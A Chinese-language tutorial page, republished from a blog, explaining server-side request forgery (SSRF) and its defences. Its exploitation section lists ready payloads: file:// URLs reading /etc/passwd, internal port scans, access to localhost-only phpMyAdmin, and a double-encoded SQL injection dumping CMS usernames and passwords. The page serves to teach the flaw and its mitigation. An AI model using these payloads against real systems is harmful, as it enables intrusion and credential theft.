我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Web漏洞之SSRF(服务器端请求伪造)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Web漏洞之SSRF(服务器端请求伪造)

文章目录

一.漏洞场景

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

二.漏洞描述

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side
Request Forgery,简称SSRF。

三.漏洞原理

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。没对响应的结果进行检验,直接输出。

四.漏洞危害

●端口扫描;
●内网Web 应用指纹识别;
●攻击内网应用;
●读取本地文件;

五.漏洞评级

高危

六.漏洞验证

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd

七.漏洞利用

1.文件访问

?url=http://www.baidu.com?url=https://file.lsjlt.com/upload/f/202309/05/gjp5d3tm45g.png?url=http://www.baidu.com/robots.txt

2.端口扫描

?url=http://127.0.0.1:80?url=http://127.0.0.1:3306?url=dict://127.0.0.1:3306?url=http://10.10.10.1:22?url=http://10.10.10.1:6379

3.读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts?url=file:///etc/passwd?url=file:/c:/www/ssrf/ssrf_curl.php

4.内网应用指纹识别
有些应用是部署在内网的。

#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1  #在httpd配置文件中设置,只允许本机访问phpMyAdmin,但存在SSRF漏洞,就可以绕过并且可以访问!!!(?url=http://127.0.0.1/phpmyadmin)

内网应用指纹识别。

?url=http://127.0.0.1/phpmyadmin/readme

5.攻击内网WEB应用
内网安全通常都很薄弱

#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1  #在httpd配置文件中设置,只允许本机访问cms,但存在SSRF漏洞,就可以绕过并且可以访问!!!

通过SSRF漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET方法可以攻击的内网Web应用有很多。
例如:cms的sql注入(需要对注入的SQL语句进行二次URL编码)

?url=http://127.0.0.1/cms/show.php?id=-33unionselect1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15fromcms_users?url=http://127.0.0.1/cms/show.php?id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users#需要对注入的SQL语句进行二次URL编码

八.漏洞防御

1.过滤输入
●限制协议,仅允许 http 或 https 协议;
●限制IP,避免应用被用来获取内网数据,攻击内网;
●限制端口,限制请求端口为常用端口。
2.过滤输出
●过滤返回信息,只要不符合要求的,全部过滤;
●统一错误信息,让攻击无法对内网信息进行判断。

来源地址:https://blog.csdn.net/weixin_48539059/article/details/130552593

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Web漏洞之SSRF(服务器端请求伪造)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Python面向对象如何实现静态Web服务器处理客户端请求

这篇文章主要讲解了“Python面向对象如何实现静态Web服务器处理客户端请求”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Python面向对象如何实现静态Web服务器处理客户端请求”吧!概
2023-07-02

WEB通讯技术。前端实现SSE长连接,nodejs+express搭建简单服务器,进行接口调试,通过curl请求数据

描述 长连接(Keep-Alive)是一种HTTP/1.1的持久连接技术,它允许客户端和服务器在一次TCP连接上进行多个HTTP请求和响应,而不必为每个请求/响应建立和断开一个新的连接。长连接有助于减少服务器的负载和提高性能。 长连接的HT
2023-08-19

编程热搜

目录